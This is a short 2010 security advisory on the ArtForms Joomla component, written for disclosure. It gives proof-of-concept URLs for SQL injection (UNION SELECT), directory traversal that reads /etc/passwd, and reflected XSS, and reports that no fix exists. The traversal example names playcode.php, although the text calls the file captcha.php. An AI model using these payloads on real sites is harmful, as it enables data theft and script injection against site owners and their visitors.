ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities Name ArtForms Vendor http://joomlacode.org/gf/project/jartforms/ Versions Affected 2.1b7.2 RC2 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-07-07 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ ArtForms is a popular Joomla component. The ArtForms component is a package for an easy From Generator for Joomla 1.0.xx. It allows you to generate as much Forms as you like, you can define all fields that you need and also make file upload and attachment possible. II. DESCRIPTION _______________ Some parameters are not sanitised before being used in SQL queries and in danger PHP's functions. The vulnerabilities are reported in version 2.1b7.2 RC2. Other versions may also be affected. III. ANALYSIS _____________ Summary: A) Multiple SQL Injection B) Directory Traversal C) Reflected XSS A) Multiple SQL Injection _________________________ The parameters viewform and id are not properly sanitised before being used in a SQL query.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. B) Directory Traversal ______________________ The l parameter in alikon/captcha.php is not properly sanitised before being used to create a path for a file that will be downloaded.This can be exploited to download arbitrary files from local resources via directory traversal attacks. C) Reflected XSS ________________ The afmsg parameter is not properly sanitised before being printed.This allows the execution of arbitrary HTML code. IV. SAMPLE CODE _______________ A) Multiple SQL Injection index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23 index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23 index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23 B) Directory Traversal http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00 C) Reflected XSS index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script> V. FIX ______ No fix.